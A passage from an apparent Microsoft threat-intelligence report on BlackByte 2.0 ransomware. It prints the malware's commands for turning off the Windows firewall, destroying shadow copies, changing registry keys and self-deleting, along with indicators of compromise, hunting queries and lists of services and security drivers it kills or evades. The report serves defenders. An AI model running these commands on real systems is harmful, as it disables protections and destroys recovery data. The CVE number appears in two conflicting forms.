to deploy across the network. Several domain admin credentials were hardcoded in the binary, facilitating the deployment of the binary across the network.\n\nDepending on the switch (_-s_ or _-a_), execution may create the following files:\n\n * _C:\\SystemData\\M8yl89s7.exe_ (UPX-packed PsExec with a random name; SHA-256: ba3ec3f445683d0d0407157fda0c26fd669c0b8cc03f21770285a20b3133098f)\n * _C:\\SystemData\\wEFT.exe_ (Additional BlackByte binary)\n * _C:\\SystemData\\MsExchangeLog1.log_ (Log file)\n * _C:\\SystemData\\rENEgOtiAtES _(A vulnerable (CVE-2019-16098) driver _RtCore64.sys_ used to evade detection by installed antivirus software; SHA-256: 01aa278b07b58dc46c84bd0b1b5c8e9ee4e62ea0bf7a695862444af32e87f1fd)\n * _C:\\SystemData\\iHu6c4.ico_ (Random name \u2013 BlackBytes icon)\n * _C:\\SystemData\\BB_Readme_file.txt_ (BlackByte ReadMe file)\n * _C:\\SystemData\\skip_bypass.txt_ (Unknown)\n\n**BlackByte 2.0 ransomware capabilities**\n\nSome capabilities identified for the BlackByte 2.0 ransomware were:\n\n * Antivirus bypass\n * The file _rENEgOtiAtES_ created matches _RTCore64.sys_, a vulnerable driver (CVE-2049-16098) that allows any authenticated user to read or write to arbitrary memory\n * The BlackByte binary then creates and starts a service named _RABAsSaa_ calling _rENEgOtiAtES_, and exploits this service to evade detection by installed antivirus software\n * Process hollowing \n * Invokes _svchost.exe_, injects to it to complete device encryption, and self-deletes by executing the following command: \n * `cmd.exe /c ping 1.1.1.1 -n 10 > Nul & Del \u201cPATH_TO_BLACKBYTE\u201d /F /Q`\n * Modification / disabling of Windows Firewall \n * The following commands are executed to either modify existing Windows Firewall rules, or to disable Windows Firewall entirely:\n * `cmd /c netsh advfirewall set allprofiles state off`\n * * `cmd /c netsh advfirewall firewall set rule group=\u201dFile and Printer Sharing\u201d new enable=Yes`\n * `cmd /c netsh advfirewall firewall set rule group=\u201dNetwork Discovery\u201d new enable=Yes`\n * Modification of volume shadow copies \n * The following commands are executed to destroy volume shadow copies on the machine:\n * `cmd /c vssadmin Resize ShadowStorge /For=B:\\ /On=B:\\ /MaxSize=401MB`\n * `cmd /c vssadmin Resize ShadowStorage /For=B:\\ /On=B:\\ /MaxSize=UNBOUNDED`\n * Modification of registry keys/values \n * The following commands are executed to modify the registry, facilitating elevated execution on the device:\n * `cmd /c reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f`\n * * `cmd /c reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f`\n * `cmd /c reg add HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\FileSystem /v LongPathsEnabled /t REG_DWORD /d 1 /f`\n * Additional functionality\n * Ability to terminate running services and processes\n * Ability to enumerate and mount volumes and network shares for encryption\n * Perform anti-forensics technique timestomping (sets the file time of encrypted and ReadMe file to 2000-01-01 00:00:00)\n * Ability to perform anti-debugging techniques\n\n## Recommendations\n\nTo guard against BlackByte ransomware attacks, Microsoft recommends the following:\n\n * Ensure that you have a patch management process in place and that patching for internet-exposed devices is prioritized; Understand and assess your cyber exposure with advanced vulnerability and configuration assessment tools like [Microsoft Defender Vulnerability Management**_ _**](<https://learn.microsoft.com/microsoft-365/security/defender-vulnerability-management/defender-vulnerability-management?view=o365-worldwide>)**__**\n * Implement an endpoint detection and response (EDR) solution like [Microsoft Defender for Endpoint](<https://www.microsoft.com/security/business/endpoint-security/microsoft-defender-endpoint>) to gain visibility into malicious activity in real time across your network\n * Ensure antivirus protections are updated regularly by [turning on cloud-based protection](<https://learn.microsoft.com/microsoft-365/security/defender-endpoint/configure-block-at-first-sight-microsoft-defender-antivirus?view=o365-worldwide>) and that your antivirus solution is configured to block threats\n * Enable [tamper protection](<https://learn.microsoft.com/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection?view=o365-worldwide>) to prevent components of Microsoft Defender Antivirus from being disabled\n * Block inbound traffic from IPs specified in the indicators of compromise section of this report\n * Block inbound traffic from TOR exit nodes\n * Block inbound access from unauthorized public VPN services\n * Restrict administrative privileges to prevent authorized system changes\n\n## Conclusion\n\nBlackByte ransomware attacks target organizations that have infrastructure with unpatched vulnerabilities. As outlined in the [Microsoft Digital Defense Report](<https://www.microsoft.com/security/business/microsoft-digital-defense-report-2022>), common security hygiene practices, including keeping systems up to date, could protect against 98% of attacks.\n\nAs new tools are being developed by threat actors, a modern threat protection solution like Microsoft 365 Defender is necessary to prevent and detect the multiple techniques used in the attack chain, especially where the threat actor attempts to evade or disable specific defense mechanisms. Hunting for malicious behavior should be performed regularly in order to detect potential attacks that could evade detections, as a complementary activity for continuous monitoring from security tools alerts and incidents.\n\nTo understand how Microsoft can help you secure your network and respond to network compromise, visit https://aka.ms/MicrosoftIR.\n\n## Microsoft 365 Defender detections\n\n**Microsoft Defender Antivirus**\n\nMicrosoft Defender Antivirus detects this threat as the following malware:\n\n * Trojan:Win32/Kovter!MSR\n * Trojan:Win64/WinGoObfusc.LK!MT\n * Trojan:Win64/BlackByte!MSR\n * HackTool:Win32/AdFind!MSR\n * Trojan:Win64/CobaltStrike!MSR\n\n**Microsoft Defender for Endpoint**\n\nThe following alerts might indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.\n\n * 'CVE-2021-31207' exploit malware was detected\n * An active 'NetShDisableFireWall' malware in a command line was prevented from executing.\n * Suspicious registry modification.\n * \u2018Rtcore64\u2019 hacktool was detected\n * Possible ongoing hands-on-keyboard activity (Cobalt Strike)\n * A file or network connection related to a ransomware-linked emerging threat activity group detected\n * Suspicious sequence of exploration activities\n * A process was injected with potentially malicious code\n * Suspicious behavior by cmd.exe was observed\n * 'Blackbyte' ransomware was detected\n\n**Microsoft Defender Vulnerability Management**\n\nMicrosoft Defender Vulnerability Management surfaces devices that may be affected by the following vulnerabilities used in this threat:\n\n * CVE-2021-34473\n * CVE-2021-34523\n * CVE-2021-31207\n * CVE-2019-16098\n\n## Hunting queries\n\n**Microsoft 365 Defender**\n\nMicrosoft 365 Defender customers can run the following query to find related activity in their networks:\n\n**ProxyShell web shell creation events**\n \n \n DeviceProcessEvents\n | where ProcessCommandLine has_any (\"ExcludeDumpster\",\"New-ExchangeCertificate\") and ProcessCommandLine has_any (\"-RequestFile\",\"-FilePath\")\n \n\n**Suspicious vssadmin events**\n \n \n DeviceProcessEvents\n | where ProcessCommandLine has_any (\"vssadmin\",\"vssadmin.exe\") and ProcessCommandLine has \"Resize ShadowStorage\" and ProcessCommandLine has_any (\"MaxSize=401MB\",\" MaxSize=UNBOUNDED\")\n \n\n**Detection for persistence creation using Registry Run keys**\n \n \n DeviceRegistryEvents \n | where ActionType == \"RegistryValueSet\" \n | where (RegistryKey has @\"Microsoft\\Windows\\CurrentVersion\\RunOnce\" and RegistryValueName == \"MsEdgeMsE\") \n or (RegistryKey has @\"Microsoft\\Windows\\CurrentVersion\\RunOnceEx\" and RegistryValueName == \"MsEdgeMsE\")\n or (RegistryKey has @\"Microsoft\\Windows\\CurrentVersion\\Run\" and RegistryValueName == \"MsEdgeMsE\")\n | where RegistryValueData startswith @\"rundll32\"\n | where RegistryValueData endswith @\".dll,Default\"\n | project Timestamp,DeviceId,DeviceName,ActionType,RegistryKey,RegistryValueName,RegistryValueData\n \n\n**Microsoft Sentinel**\n\nMicrosoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with \u2018TI map\u2019) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. More details on the Content Hub can be found here: <https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy>\n\nMicrosoft Sentinel also has a range of detection and threat hunting content that customers can use to detect the post exploitation activity detailed in this blog in addition to Microsoft 365 Defender detections list above.\n\n * [ProxyShell](<https://github.com/Azure/Azure-Sentinel/blob/dd6cfe437382dfbd86ac36b76a125fda0c9de0aa/Detections/W3CIISLog/ProxyShellPwn2Own.yaml>)\n * [Web shell activity](<https://github.com/Azure/Azure-Sentinel/blob/master/Solutions/Web%20Shells%20Threat%20Protection/Hunting%20Queries/WebShellActivity.yaml>)\n * [Suspicious file downloads on Exchange Servers](<https://github.com/Azure/Azure-Sentinel/blob/dd6cfe437382dfbd86ac36b76a125fda0c9de0aa/Detections/http_proxy_oab_CL/ExchagngeSuspiciousFileDownloads.yaml>)\n * [Firewall rule changes](<https://github.com/Azure/Azure-Sentinel/blob/dd6cfe437382dfbd86ac36b76a125fda0c9de0aa/Hunting%20Queries/MultipleDataSources/FirewallRuleChanges_using_netsh.yaml>)\n * [Shadow copy deletion](<https://github.com/Azure/Azure-Sentinel/blob/dd6cfe437382dfbd86ac36b76a125fda0c9de0aa/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/ShadowCopyDeletion.yml>)\n * [Anamolous RDP activity](<https://github.com/Azure/Azure-Sentinel/blob/dd6cfe437382dfbd86ac36b76a125fda0c9de0aa/Solutions/UEBA%20Essentials/Hunting%20Queries/Anomalous%20RDP%20Activity.yaml>)\n\n## Indicators of compromise\n\nThe table below shows IOCs observed during our investigation. We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.\n\nIndicator| Type| Description \n---|---|--- \n4a066569113a569a6feb8f44257ac8764ee8f2011765009fdfd82fe3f4b92d3e| SHA-256| api-msvc.dll (Backdoor installed through RunKeys) \n5f37b85687780c089607670040dbb3da2749b91b8adc0aa411fd6280b5fa7103| SHA-256| sys.exe (Cobalt Strike Beacon) \n01aa278b07b58dc46c84bd0b1b5c8e9ee4e62ea0bf7a695862444af32e87f1fd| SHA-256| rENEgOtiAtES (Vulnerable driver RtCore64.sys created by BlackByte binary) \nba3ec3f445683d0d0407157fda0c26fd669c0b8cc03f21770285a20b3133098f| SHA-256| [RANDOM_NAME].exe (UPX Packed PsExec created by BlackByte binary) \n1b9badb1c646a19cdf101ac4f6fdd23bc61eaab8c9f925eb41848cea9fd0738e| SHA-256| \u201cnetscan.exe\u201d, \u201cnetapp.exe (Netscan network discovery tool) \nf157090fd3ccd4220298c06ce8734361b724d80459592b10ac632acc624f455e| SHA-256| AdFind.exe (Active Directory information gathering tool) \nhxxps://myvisit[.]alteksecurity[.]org/t| URL| C2 for backdoor api-msvc.dll \nhxxps://temp[.]sh/szAyn/sys.exe| URL| Download URL for sys.exe \n109.206.243[.]59| IP Address| C2 for Cobalt Strike Beacon sys.exe \n185.225.73[.]244| IP Address| Originating IP address for ProxyShell exploitation and web shell interaction \n \n**NOTE:** These indicators should not be considered exhaustive for this observed activity.\n\n## Appendix\n\nFile extensions targeted by BlackByte binary for encryption:\n\n.4dd| .4dl| .accdb| .accdc| .accde| .accdr| .accdt| .accft \n---|---|---|---|---|---|---|--- \n.adb| .ade| .adf| .adp| .arc| .ora| .alf| .ask \n.btr| .bdf| .cat| .cdb| .ckp| .cma| .cpd| .dacpac \n.dad| .dadiagrams| .daschema| .db| .db-shm| .db-wal| .db3| .dbc \n.dbf| .dbs| .dbt| .dbv| . dbx| . dcb| . dct| . dcx \n. ddl| . dlis| . dp1| . dqy| . dsk| . dsn| . dtsx| . dxl \n. eco| . ecx| . edb| . epim| . exb| . fcd| . fdb| . fic \n. fmp| . fmp12| . fmpsl| . fol| .fp3| . fp4| . fp5| . fp7 \n. fpt| . frm| . gdb| . grdb| . gwi| . hdb| . his| . ib \n. idb| . ihx| . itdb| . itw| . jet| . jtx| . kdb| . kexi \n. kexic| . kexis| . lgc| . lwx| . maf| . maq| . mar| . masmav \n. mdb| . mpd| . mrg| . mud| . mwb| . myd| . ndf| . nnt \n. nrmlib| . ns2| . ns3| . ns4| . nsf| . nv| . nv2| . nwdb \n. nyf| . odb| . ogy| . orx| . owc| . p96| . p97| . pan \n. pdb| . pdm| . pnz| . qry| . qvd| . rbf| . rctd| . rod \n. rodx| . rpd| . rsd| . sas7bdat| . sbf| . scx| . sdb| . sdc \n. sdf| . sis| . spg| . sql| . sqlite| . sqlite3| . sqlitedb| . te \n. temx| . tmd| . tps| . trc| . trm| . udb| . udl| . usr \n. v12| . vis| . vpd| . vvv| . wdb| . wmdb| . wrk| . xdb \n. xld| . xmlff| . abcddb| . abs| . abx| . accdw| . and| . db2 \n. fm5| . hjt| . icg| . icr| . kdb| . lut| . maw| . mdn \n. mdt| | | | | | | \n \nShared folders targeted for encryption (Example: _\\\\\\\\[IP address]\\Downloads_):\n\nUsers| Backup| Veeam| homes| home \n---|---|---|---|--- \nmedia| common| Storage Server| Public| Web \nImages| Downloads| BackupData| ActiveBackupForBusiness| Backups \nNAS-DC| DCBACKUP| DirectorFiles| share| \n \nFile extensions ignored:\n\n.ini| .url| .msilog| .log| .ldf| .lock| .theme| .msi \n---|---|---|---|---|---|---|--- \n.sys| .wpx| .cpl| .adv| .msc| .scr| .key| .ico \n.dll| .hta| .deskthemepack| .nomedia| .msu| .rtp| .msp| .idx \n.ani| .386| .diagcfg| .bin| .mod| .ics| .com| .hlp \n .spl| .nls| .cab| .exe| .diagpkg| .icl| .ocx| .rom \n.prf| .thempack| .msstyles| .icns| .mpa| .drv| .cur| .diagcab \n.cmd| .shs| | | | | | \n \nFolders ignored:\n\nwindows| boot| program files (x86)| windows.old| programdata \n---|---|---|---|--- \nintel| bitdefender| trend micro| windowsapps| appdata \napplication data| system volume information| perflogs| msocache| \n \nFiles ignored:\n\nbootnxt| ntldr| bootmgr| thumbs.db \n---|---|---|--- \nntuser.dat| bootsect.bak| autoexec.bat| iconcache.db \nbootfont.bin| | | \n \nProcesses terminated:\n\nteracopy| teamviewer| nsservice| nsctrl| uranium \n---|---|---|---|--- \nprocesshacker| procmon| pestudio| procmon64| x32dbg \nx64dbg| cff explorer| procexp| pslist| tcpview \ntcpvcon| dbgview| rammap| rammap64| vmmap \nollydbg| autoruns| autorunssc| filemon| regmon \nidaq| idaq64| immunitydebugger| wireshark| dumpcap \nhookexplorer| importrec| petools| lordpe| sysinspector \nproc_analyzer| sysanalyzer| sniff_hit| windbg| joeboxcontrol \njoeboxserver| resourcehacker| fiddler| httpdebugger| dumpit \nrammap| rammap64| vmmap| agntsvc| cntaosmgr \ndbeng50| dbsnmp| encsvc| infopath| isqlplussvc \nmbamtray| msaccess| msftesql| mspub| mydesktopqos \nmydesktopservice| mysqld| mysqld-nt| mysqld-opt| Ntrtscan \nocautoupds| ocomm| ocssd| onenote| oracle \noutlook| PccNTMon| powerpnt| sqbcoreservice| sql \nsqlagent| sqlbrowser| sqlservr| sqlwriter| steam \nsynctime| tbirdconfig| thebat| thebat64| thunderbird \ntmlisten| visio| winword| wordpad| xfssvccon \nzoolz| | | | \n \nServices terminated:\n\nCybereasonRansomFree| vnetd| bpcd| SamSs| TeraCopyService \n---|---|---|---|--- \nmsftesql| nsService| klvssbridge64| vapiendpoint| ShMonitor \nSmcinst| SmcService| SntpService| svcGenericHost| Swi_ \nTmCCSF| tmlisten| TrueKey| TrueKeyScheduler| TrueKeyServiceHelper \nWRSVC| McTaskManager| OracleClientCache80| mfefire| wbengine \nmfemms| RESvc| mfevtp| sacsvr| SAVAdminService \nSepMasterService| PDVFSService| ESHASRV| SDRSVC| FA_Scheduler \nKAVFS| KAVFS_KAVFSGT| kavfsslp| klnagent| macmnsvc \nmasvc| MBAMService| MBEndpointAgent| McShield| audioendpointbuilder \nAntivirus| AVP| DCAgent| bedbg| EhttpSrv \nMMS| ekrn| EPSecurityService| EPUpdateService| ntrtscan \nEsgShKernel| msexchangeadtopology| AcrSch2Svc| MSOLAP$TPSAMA| Intel(R) PROSet Monitoring \nmsexchangeimap4| ARSM| unistoresvc_1af40a| ReportServer$TPS| MSOLAP$SYSTEM_BGC \nW3Svc| MSExchangeSRS| ReportServer$TPSAMA| Zoolz 2 Service| MSOLAP$TPS \naphidmonitorservice| SstpSvc| MSExchangeMTA| ReportServer$SYSTEM_BGC| Symantec System Recovery \nUI0Detect| MSExchangeSA| MSExchangeIS| ReportServer| MsDtsServer110 \nPOP3Svc| MSExchangeMGMT| SMTPSvc| MsDtsServer| IisAdmin \nMSExchangeES| EraserSvc11710| Enterprise Client Service| MsDtsServer100| NetMsmqActivator \nstc_raw_agent| VSNAPVSS| PDVFSService| AcrSch2Svc| Acronis \nCASAD2DWebSvc| CAARCUpdateSvc| McAfee| avpsus| DLPAgentService \nmfewc| BMR Boot Service| DefWatch| ccEvtMgr| ccSetMgr \nSavRoam| RTVsc screenconnect| ransom| sqltelemetry| msexch \nvnc| teamviewer| msolap| veeam| backup \nsql| memtas| vss| sophos| svc$ \nmepocs| wuauserv| | | \n \nDrivers that Blackbyte can bypass:\n\n360avflt.sys| 360box.sys| 360fsflt.sys| 360qpesv.sys| 5nine.cbt.sys \n---|---|---|---|--- \na2acc.sys| a2acc64.sys| a2ertpx64.sys| a2ertpx86.sys| a2gffi64.sys \na2gffx64.sys| a2gffx86.sys| aaf.sys| aalprotect.sys| abrpmon.sys \naccessvalidator.sys| acdriver.sys| acdrv.sys| adaptivaclientcache32.sys| adaptivaclientcache64.sys \nadcvcsnt.sys| adspiderdoc.sys| aefilter.sys| agentrtm64.sys| agfsmon.sys \nagseclock.sys| agsyslock.sys| ahkamflt.sys| ahksvpro.sys| ahkusbfw.sys \nahnrghlh.sys| aictracedrv_am.sys| airship-filter.sys| ajfsprot.sys| alcapture.sys \nalfaff.sys| altcbt.sys| amfd.sys| amfsm.sys| amm6460.sys \namm8660.sys| amsfilter.sys| amznmon.sys| antileakfilter.sys| antispyfilter.sys \nanvfsm.sys| apexsqlfilterdriver.sys| appcheckd.sys| appguard.sys| appvmon.sys \narfmonnt.sys| arta.sys| arwflt.sys| asgard.sys| ashavscan.sys \nasiofms.sys| aswfsblk.sys| aswmonflt.sys| aswsnx.sys| aswsp.sys \naszfltnt.sys| atamptnt.sys| atc.sys| atdragent.sys| atdragent64.sys \naternityregistryhook.sys| atflt.sys| atrsdfw.sys| auditflt.sys| aupdrv.sys \navapsfd.sys| avc3.sys| avckf.sys| avfsmn.sys| avgmfi64.sys \navgmfrs.sys| avgmfx64.sys| avgmfx86.sys| avgntflt.sys| avgtpx64.sys \navgtpx86.sys| avipbb.sys| avkmgr.sys| avmf.sys| awarecore.sys \naxfltdrv.sys| axfsysmon.sys| ayfilter.sys| b9kernel.sys| backupreader.sys \nbamfltr.sys| bapfecpt.sys| bbfilter.sys| bd0003.sys| bddevflt.sys \nbdfiledefend.sys| bdfilespy.sys| bdfm.sys| bdfsfltr.sys| bdprivmon.sys \nbdrdfolder.sys| bdsdkit.sys| bdsfilter.sys| bdsflt.sys| bdsvm.sys \nbdsysmon.sys| bedaisy.sys| bemk.sys| bfaccess.sys| bfilter.sys \nbfmon.sys| bhdrvx64.sys| bhdrvx86.sys| bhkavka.sys| bhkavki.sys \nbkavautoflt.sys| bkavsdflt.sys| blackbirdfsa.sys| blackcat.sys| bmfsdrv.sys \nbmregdrv.sys| boscmflt.sys| bosfsfltr.sys| bouncer.sys| boxifier.sys \nbrcow_x_x_x_x.sys| brfilter.sys| brnfilelock.sys| brnseclock.sys| browsermon.sys \nbsrfsflt.sys| bssaudit.sys| bsyaed.sys| bsyar.sys| bsydf.sys \nbsyirmf.sys| bsyrtm.sys| bsysp.sys| bsywl.sys| bwfsdrv.sys \nbzsenspdrv.sys| bzsenth.sys| bzsenyaradrv.sys| caadflt.sys| caavfltr.sys \ncancelsafe.sys| carbonblackk.sys| catflt.sys| catmf.sys| cbelam.sys \ncbfilter20.sys| cbfltfs4.sys| cbfsfilter2017.sys| cbfsfilter2020.sys| cbsampledrv.sys \ncdo.sys| cdrrsflt.sys| cdsgfsfilter.sys| centrifyfsf.sys| cfrmd.sys \ncfsfdrv| cgwmf.sys| change.sys| changelog.sys| chemometecfilter.sys \nciscoampcefwdriver.sys| ciscoampheurdriver.sys| ciscosam.sys| clumiochangeblockmf.sys| cmdccav.sys \ncmdcwagt.sys| cmdguard.sys| cmdmnefs.sys| cmflt.sys| code42filter.sys \ncodex.sys| conduantfsfltr.sys| containermonitor.sys| cpavfilter.sys| cpavkernel.sys \ncpepmon.sys| crexecprev.sys| crncache32.sys| crncache64.sys| crnsysm.sys \ncruncopy.sys| csaam.sys| csaav.sys| csacentr.sys| csaenh.sys \ncsagent.sys| csareg.sys| csascr.sys| csbfilter.sys| csdevicecontrol.sys \ncsfirmwareanalysis.sys| csflt.sys| csmon.sys| cssdlp.sys| ctamflt.sys \nctifile.sys| ctinet.sys| ctrpamon.sys| ctx.sys| cvcbt.sys \ncvofflineflt32.sys| cvofflineflt64.sys| cvsflt.sys| cwdriver.sys| cwmem2k64.sys \ncybkerneltracker.sys| cylancedrv64.sys| cyoptics.sys| cyprotectdrv32.sys| cyprotectdrv64.sys \ncytmon.sys| cyverak.sys| cyvrfsfd.sys| cyvrlpc.sys| cyvrmtgn.sys \ndatanow_driver.sys| dattofsf.sys| da_ctl.sys| dcfafilter.sys| dcfsgrd.sys \ndcsnaprestore.sys| deepinsfs.sys| delete_flt.sys| devmonminifilter.sys| dfmfilter.sys \ndgedriver.sys| dgfilter.sys| dgsafe.sys| dhwatchdog.sys| diflt.sys \ndiskactmon.sys| dkdrv.sys| dkrtwrt.sys| dktlfsmf.sys| dnafsmonitor.sys \ndocvmonk.sys| docvmonk64.sys| dpmfilter.sys| drbdlock.sys| drivesentryfilterdriver2lite.sys \ndrsfile.sys| drvhookcsmf.sys| drvhookcsmf_amd64.sys| drwebfwflt.sys| drwebfwft.sys \ndsark.sys| dsdriver.sys| dsfemon.sys| dsflt.sys| dsfltfs.sys \ndskmn.sys| dtdsel.sys| dtpl.sys| dwprot.sys| dwshield.sys \ndwshield64.sys| eamonm.sys| easeflt.sys| easyanticheat.sys| eaw.sys \necatdriver.sys| edevmon.sys| ednemfsfilter.sys| edrdrv.sys| edrsensor.sys \nedsigk.sys| eectrl.sys| eetd32.sys| eetd64.sys| eeyehv.sys \neeyehv64.sys| egambit.sys| egfilterk.sys| egminflt.sys| egnfsflt.sys \nehdrv.sys| elock2fsctldriver.sys| emxdrv2.sys| enigmafilemondriver.sys| enmon.sys \nepdrv.sys| epfw.sys| epfwwfp.sys| epicfilter.sys| epklib.sys \nepp64.sys| epregflt.sys| eps.sys| epsmn.sys| equ8_helper.sys \neraser.sys| esensor.sys| esprobe.sys| estprmon.sys| estprp.sys \nestregmon.sys| estregp.sys| estrkmon.sys| estrkr.sys| eventmon.sys \nevmf.sys| evscase.sys| excfs.sys| exprevdriver.sys| failattach.sys \nfailmount.sys| fam.sys| fangcloud_autolock_driver.sys| fapmonitor.sys| farflt.sys \nfarwflt.sys| fasdriver| fcnotify.sys| fcontrol.sys| fdrtrace.sys \nfekern.sys| fencry.sys| ffcfilt.sys| ffdriver.sys| fildds.sys \nfilefilter.sys| fileflt.sys| fileguard.sys| filehubagent.sys| filemon.sys \nfilemonitor.sys| filenamevalidator.sys| filescan.sys| filesharemon.sys| filesightmf.sys \nfilesystemcbt.sys| filetrace.sys| file_monitor.sys| file_protector.sys| file_tracker.sys \nfilrdriver.sys| fim.sys| fiometer.sys| fiopolicyfilter.sys| fjgsdis2.sys \nfjseparettifilterredirect.sys| flashaccelfs.sys| flightrecorder.sys| fltrs329.sys| flyfs.sys \nfmdrive.sys| fmkkc.sys| fmm.sys| fortiaptfilter.sys| fortimon2.sys \nfortirmon.sys| fortishield.sys| fpav_rtp.sys| fpepflt.sys| fsafilter.sys \nfsatp.sys| fsfilter.sys| fsgk.sys| fshs.sys| fsmon.sys \nfsmonitor.sys| fsnk.sys| fsrfilter.sys| fstrace.sys| fsulgk.sys \nfsw31rj1.sys| gagsecurity.sys| gbpkm.sys| gcffilter.sys| gddcv.sys \ngefcmp.sys| gemma.sys| geprotection.sys| ggc.sys| gibepcore.sys \ngkff.sys| gkff64.sys| gkpfcb.sys| gkpfcb64.sys| gofsmf.sys \ngpminifilter.sys| groundling32.sys| groundling64.sys| gtkdrv.sys| gumhfilter.sys \ngzflt.sys| hafsnk.sys| hbflt.sys| hbfsfltr.sys| hcp_kernel_acq.sys \nhdcorrelatefdrv.sys| hdfilemon.sys| hdransomoffdrv.sys| hdrfs.sys| heimdall.sys \nhexisfsmonitor.sys| hfileflt.sys| hiofs.sys| hmpalert.sys| hookcentre.sys \nhooksys.sys| hpreg.sys| hsmltmon.sys| hsmltwhl.sys| hssfwhl.sys \nhvlminifilter.sys| ibr2fsk.sys| iccfileioad.sys| iccfilteraudit.sys| iccfiltersc.sys \nicfclientflt.sys| icrlmonitor.sys| iderafilterdriver.sys| ielcp.sys| ieslp.sys \nifs64.sys| ignis.sys| iguard.sys| iiscache.sys| ikfilesec.sys \nim.sys| imffilter.sys| imfilter.sys| imgguard.sys| immflex.sys \nimmunetprotect.sys| immunetselfprotect.sys| inisbdrv64.sys| ino_fltr.sys| intelcas.sys \nintmfs.sys| inuse.sys| invprotectdrv.sys| invprotectdrv64.sys| ionmonwdrv.sys \niothorfs.sys| ipcomfltr.sys| ipfilter.sys| iprotect.sys| iridiumswitch.sys \nirongatefd.sys| isafekrnl.sys| isafekrnlmon.sys| isafermon| isecureflt.sys \nisedrv.sys| isfpdrv.sys| isirmfmon.sys| isregflt.sys| isregflt64.sys \nissfltr.sys| issregistry.sys| it2drv.sys| it2reg.sys| ivappmon.sys \niwdmfs.sys| iwhlp.sys| iwhlp2.sys| iwhlpxp.sys| jdppsf.sys \njdppwf.sys| jkppob.sys| jkppok.sys| jkpppf.sys| jkppxk.sys \nk7sentry.sys| kavnsi.sys| kawachfsminifilter.sys| kc3.sys| kconv.sys \nkernelagent32.sys| kewf.sys| kfac.sys| kfileflt.sys| kisknl.sys \nklam.sys| klbg.sys| klboot.sys| kldback.sys| kldlinf.sys \nkldtool.sys| klfdefsf.sys| klflt.sys| klgse.sys| klhk.sys \nklif.sys| klifaa.sys| klifks.sys| klifsm.sys| klrsps.sys \nklsnsr.sys| klupd_klif_arkmon.sys| kmkuflt.sys| kmnwch.sys| kmxagent.sys \nkmxfile.sys| kmxsbx.sys| ksfsflt.sys| ktfsfilter.sys| ktsyncfsflt.sys \nkubwksp.sys| lafs.sys| lbd.sys| lbprotect.sys| lcgadmon.sys \nlcgfile.sys| lcgfilemon.sys| lcmadmon.sys| lcmfile.sys| lcmfilemon.sys \nlcmprintmon.sys| ldsecdrv.sys| libwamf.sys| livedrivefilter.sys| llfilter.sys \nlmdriver.sys| lnvscenter.sys| locksmith.sys| lragentmf.sys| lrtp.sys \nmagicbackupmonitor.sys| magicprotect.sys| majoradvapi.sys| marspy.sys| maxcryptmon.sys \nmaxproc64.sys| maxprotector.sys| mbae64.sys| mbam.sys| mbamchameleon.sys \nmbamshuriken.sys| mbamswissarmy.sys| mbamwatchdog.sys| mblmon.sys| mcfilemon32.sys \nmcfilemon64.sys| mcstrg.sys| mearwfltdriver.sys| message.sys| mfdriver.sys \nmfeaack.sys| mfeaskm.sys| mfeavfk.sys| mfeclnrk.sys| mfeelamk.sys \nmfefirek.sys| mfehidk.sys| mfencbdc.sys| mfencfilter.sys| mfencoas.sys \nmfencrk.sys| mfeplk.sys| mfewfpk.sys| miniicpt.sys| minispy.sys \nminitrc.sys| mlsaff.sys| mmpsy32.sys| mmpsy64.sys| monsterk.sys \nmozycorpfilter.sys| mozyenterprisefilter.sys| mozyentfilter.sys| mozyhomefilter.sys| mozynextfilter.sys \nmozyoemfilter.sys| mozyprofilter.sys| mpfilter.sys| mpkernel.sys| mpksldrv.sys \nmpxmon.sys| mracdrv.sys| mrxgoogle.sys| mscan-rt.sys| msiodrv4.sys \nmsixpackagingtoolmonitor.sys| msnfsflt.sys| mspy.sys| mssecflt.sys| mtsvcdf.sys \nmumdi.sys| mwac.sys| mwatcher.sys| mwfsmfltr.sys| mydlpmf.sys \nnamechanger.sys| nanoavmf.sys| naswsp.sys| ndgdmk.sys| neokerbyfilter \nnetaccctrl.sys| netaccctrl64.sys| netguard.sys| netpeeker.sys| ngscan.sys \nnlcbhelpi64.sys| nlcbhelpx64.sys| nlcbhelpx86.sys| nlxff.sys| nmlhssrv01.sys \nnmpfilter.sys| nntinfo.sys| novashield.sys| nowonmf.sys| npetw.sys \nnprosec.sys| npxgd.sys| npxgd64.sys| nravwka.sys| nrcomgrdka.sys \nnrcomgrdki.sys| nregsec.sys| nrpmonka.sys| nrpmonki.sys| nsminflt.sys \nnsminflt64.sys| ntest.sys| ntfsf.sys| ntguard.sys| ntps_fa.sys \nnullfilter.sys| nvcmflt.sys| nvmon.sys| nwedriver.sys| nxfsmon.sys \nnxrmflt.sys| oadevice.sys| oavfm.sys| oczminifilter.sys| odfsfilter.sys \nodfsfimfilter.sys| odfstokenfilter.sys| offsm.sys| omfltlh.sys| osiris.sys \nospfile_mini.sys| ospmon.sys| parity.sys| passthrough.sys| path8flt.sys \npavdrv.sys| pcpifd.sys| pctcore.sys| pctcore64.sys| pdgenfam.sys \npecfilter.sys| perfectworldanticheatsys.sys| pervac.sys| pfkrnl.sys| pfracdrv.sys \npgpfs.sys| pgpwdefs.sys| phantomd.sys| phdcbtdrv.sys| pkgfilter.sys \npkticpt.sys| plgfltr.sys| plpoffdrv.sys| pointguardvista64f.sys| pointguardvistaf.sys \npointguardvistar32.sys| pointguardvistar64.sys| procmon11.sys| proggerdriver.sys| psacfileaccessfilter.sys \npscff.sys| psgdflt.sys| psgfoctrl.sys| psinfile.sys| psinproc.sys \npsisolator.sys| pwipf6.sys| pwprotect.sys| pzdrvxp.sys| qdocumentref.sys \nqfapflt.sys| qfilter.sys| qfimdvr.sys| 